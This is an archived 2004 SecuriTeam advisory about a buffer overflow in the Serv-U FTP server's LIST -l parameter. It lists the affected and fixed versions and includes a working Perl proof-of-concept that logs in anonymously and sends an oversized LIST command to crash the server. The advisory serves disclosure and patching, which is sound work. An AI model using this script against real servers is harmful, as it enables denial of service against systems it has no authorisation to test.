[NT] Serv-U LIST -l Parameter Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 04/19/04

  • Next message: SecuriTeam: "[TOOL] PLEM - Perl Loadable Exploiting Module"
    To: list@securiteam.com
    Date: 19 Apr 2004 18:15:57 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Serv-U LIST -l Parameter Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.serv-u.com/> Serv-U is a "powerful, easy-to-use,
    award-winning FTP server" created by Rob Beckers. A vulnerability in the
    product allows a remote user to cause the server to fail by sending a
    malformed LIST command to the server.

    DETAILS

    Vulnerable Systems:
     * Serv-U version 5.0.0.4 and prior

    Immune Systems:
     * Serv-U 5.0.0.6 and newer

    A user issuing a long parameter (around 134 bytes) as a value for a LIST
    command (using the -l: parameter for that LIST command), can cause the
    server to try and read a value that is outside the memory location of the
    Serv-U's memory, this will cause an exception to be triggered (an
    unhandled exception), which in turn causes the program to crash.

    Exploit:
    #!/usr/bin/perl

    use IO::Socket;

    $host = "192.168.1.243";

    $remote = IO::Socket::INET->new ( Proto => "tcp",
         PeerAddr => $host,
         PeerPort => "2116",
        );

    unless ($remote) { die "cannot connect to ftp daemon on $host" }

    print "connected\n";
    while (<$remote>)
    {
     print $_;
     if (/220 /)
     {
      last;
     }
    }

    $remote->autoflush(1);

    my $ftp = "USER anonymous\r\n";

    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/331 /)
     {
      last;
     }
    }

    $ftp = join("", "PASS ", "a\@b.com", "\r\n");
    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/230 /)
     {
      last;
     }
    }

    my $ftp = join ("", "LIST -l:", "A"x(134), "\r\n");

    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/250 Done/)
     {
      last;
     }
    }

    close $remote;

    ADDITIONAL INFORMATION

    SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
    finding this vulnerability.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[TOOL] PLEM - Perl Loadable Exploiting Module"

    Relevant Pages

    • [EXPL] WeOnlyDo! COM FTP DELUXE ActiveX Control Overflow Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... non-encrypted FTP access to the servers for transferring files.". ... WodFtpDLX Client ActiveX Control Buffer Overflow Crash Exploit ... This exploit creates a fake FTP server on your machine, ...
      (Securiteam)
    • [NT] BlackJumboDog FTP Server Buffer Overflow
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... SapporoWorks BlackJumboDog is an integrated open-source proxy server, ... BlackJumboDog version 3.6.1 is vulnerable to a buffer overflow in its FTP ... suppose that the user's FTP client issues the following command. ...
      (Securiteam)
    • [NT] Microsoft wininet.dll FTP Reply Null Termination Heap Corruption Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Microsoft 'wininet.dll' FTP Reply Null Termination Heap Corruption ... Windows Server 2003 Enterprise Edition SP1 ... This vulnerability appears to have existed from at least Internet ...
      (Securiteam)
    • [EXPL] CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... FTP program that makes it easy to drag and drop files to and from your ... CoffeeCup FTP to execute arbitrary code. ... direct | free "direct" to exploit a CoffeeCup Direct FTP client ...
      (Securiteam)
    • [UNIX] FTP Kioslave Command Injection
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... KDE applications which use the FTP kioslave, e.g. Konqueror, allow remote ... The FTP kioslave can be misused to execute any ftp command on the server ...
      (Securiteam)